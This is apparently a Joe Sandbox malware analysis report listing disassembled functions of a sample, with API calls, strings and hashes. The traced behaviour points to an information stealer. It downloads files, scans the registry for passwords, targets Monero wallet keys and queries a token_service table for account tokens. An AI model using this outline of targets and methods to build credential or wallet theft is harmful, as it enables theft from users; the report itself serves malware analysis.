Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 000993863b2b3203979a92f0d55c69edc76e5ab5f30188cf3eb6a1a5a4d718f6
Instruction ID: 9b6ae32ca98cf851e5a179989797c88251c0abe875450c0c6448e07b479ee0cd
Opcode Fuzzy Hash: 000993863b2b3203979a92f0d55c69edc76e5ab5f30188cf3eb6a1a5a4d718f6
Instruction Fuzzy Hash: 5E3140B190110AEFCB05EFF4DC99DFE7B78BB88301B148119F106AB291DA38B946CB55

Function 005C8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00C7F130,00000000,?,005D0E2C,00000000,?,00000000), ref: 005C8130
RtlAllocateHeap.NTDLL(00000000), ref: 005C8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 005C8158
__aulldiv.LIBCMT ref: 005C8172
__aulldiv.LIBCMT ref: 005C8180
wsprintfA.USER32 ref: 005C81AC

Strings

@, xrefs: 005C814D
%d MB, xrefs: 005C81A3

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 10202b5810c7425310584741165c956993ff57dd08420989bf43caef4d24fe4a
Instruction ID: 41a5ad3966c187aaaaadd0fc58664246745f74071e9e45a1dc447ed32c970c40
Opcode Fuzzy Hash: 10202b5810c7425310584741165c956993ff57dd08420989bf43caef4d24fe4a
Instruction Fuzzy Hash: 0F2129B1A44209AFDB00DFD4CC49FBEBBB8FB44B10F104519F605AB280D7B86901CBA9

Function 005B60A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B47B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 005B4839
Part of subcall function 005B47B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 005B4849

InternetOpenA.WININET(005D0DF7,00000001,00000000,00000000,00000000), ref: 005B610F
StrCmpCA.SHLWAPI(?,00C7F900), ref: 005B6147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 005B618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 005B61B3
InternetReadFile.WININET(?,?,00000400,?), ref: 005B61DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 005B620A
CloseHandle.KERNEL32(?,?,00000400), ref: 005B6249
InternetCloseHandle.WININET(?), ref: 005B6253
InternetCloseHandle.WININET(00000000), ref: 005B6260

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4d9c4598a9a19daa233653b3d8c0b0b124afbacd596538748534c16b565dc702
Instruction ID: bb1399259073756edb1e698f47c9adeeba306244b7147342a832e5c93aa9961c
Opcode Fuzzy Hash: 4d9c4598a9a19daa233653b3d8c0b0b124afbacd596538748534c16b565dc702
Instruction Fuzzy Hash: D05132B1900218AFDF20DF90DC49FEE7BB8FB44705F108498A609A71C1DB796A85CFA5

Function 005B72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 005B733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 005B73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 005B740D
GetProcessHeap.KERNEL32(00000000,?), ref: 005B7452
HeapFree.KERNEL32(00000000), ref: 005B7459
task.LIBCPMTD ref: 005B7555

Strings

Password, xrefs: 005B7401

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 367243a1a910e0fab036203e4f53ccbc79b2015bf56515a3883ae3227e714157
Instruction ID: 3e9950038b465a408d0464b57e423c41c00f0970c3495011567ce98bf1a54edf
Opcode Fuzzy Hash: 367243a1a910e0fab036203e4f53ccbc79b2015bf56515a3883ae3227e714157
Instruction Fuzzy Hash: 43610BB590415D9BDB24DB50CC45FE9BBBCBF88340F0081E9E649A6141DBB06BC9CFA1

Function 005BBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

lstrlen.KERNEL32(00000000), ref: 005BBC9F

Part of subcall function 005C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005C8E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 005BBCCD
lstrlen.KERNEL32(00000000), ref: 005BBDA5
lstrlen.KERNEL32(00000000), ref: 005BBDB9

Strings

AccountTokens, xrefs: 005BBABA
SELECT service, encrypted_token FROM token_service, xrefs: 005BBBEB
AccountTokens, xrefs: 005BBB49
AccountId, xrefs: 005BBCC4

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: d122e4858176de25cc7bd0ad19a1bf20c8ef4eeffd3ff092edc4b4989f22efbc
Instruction ID: 070ba92b22bdf39ee3647889059808461ceb69c4b54bed424ff90ac040aae68d
Opcode Fuzzy Hash: d122e4858176de25cc7bd0ad19a1bf20c8ef4eeffd3ff092edc4b4989f22efbc
Instruction Fuzzy Hash: 27B15B72910109AFDB14EBE0DC9AFEE7F38BF94304F40411DF506A2191EE746A49CBA6

Function 005B4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 005B4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 005B4FD1
InternetOpenA.WININET(005D0DDF,00000000,00000000,00000000,00000000), ref: 005B4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 005B5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 005B5041
InternetCloseHandle.WININET(?), ref: 005B50B9
InternetCloseHandle.WININET(?), ref: 005B50C6

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: d6c2b12209d2e7e2c674e678ecb224f22e6eabef757ab5a593eb040c60191140
Instruction ID: 70a58bee0ed5668414901577f294a46d5bd144d95126a1a28da682a45ae1500b
Opcode Fuzzy Hash: d6c2b12209d2e7e2c674e678ecb224f22e6eabef757ab5a593eb040c60191140
Instruction Fuzzy Hash: 6E3107F4A0021CABDB24DF54DC89BDCBBB4FB48704F1081D9E609A7281D7746A85CFA9

Function 005C83DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 005C8426
wsprintfA.USER32 ref: 005C8459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 005C847B
RegCloseKey.ADVAPI32(00000000), ref: 005C848C
RegCloseKey.ADVAPI32(00000000), ref: 005C8499

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

RegQueryValueExA.KERNEL32(00000000,00C7F178,00000000,000F003F,?,00000400), ref: 005C84EC
lstrlen.KERNEL32(?), ref: 005C8501
RegQueryValueExA.KERNEL32(00000000,00C7F160,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,005D0B34), ref: 005C8599
RegCloseKey.KERNEL32(00000000), ref: 005C8608
RegCloseKey.ADVAPI32(00000000), ref: 005C861A

Strings

%s\%s, xrefs: 005C844D

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 1e98c8a34a36742e43d67f568eebcee5669e786790a513d1c668dcc671fe8f32
Instruction ID: b2136417fded3918724b53d859d88f9a8dfdb636732298227e8c2bdb4c5c7051
Opcode Fuzzy Hash: 1e98c8a34a36742e43d67f568eebcee5669e786790a513d1c668dcc671fe8f32
Instruction Fuzzy Hash: 2E21B7B191021CAFDB24DB54DC85FE9B7B8FB48704F00C599A609A6180DF756A85CFE4

Function 005C7690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005C76A4
RtlAllocateHeap.NTDLL(00000000), ref: 005C76AB
RegOpenKeyExA.KERNEL32(80000002,00C6D238,00000000,00020119,00000000), ref: 005C76DD
RegQueryValueExA.KERNEL32(00000000,00C7F2E0,00000000,00000000,?,000000FF), ref: 005C76FE
RegCloseKey.ADVAPI32(00000000), ref: 005C7708

Strings

Windows 11, xrefs: 005C76BD

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

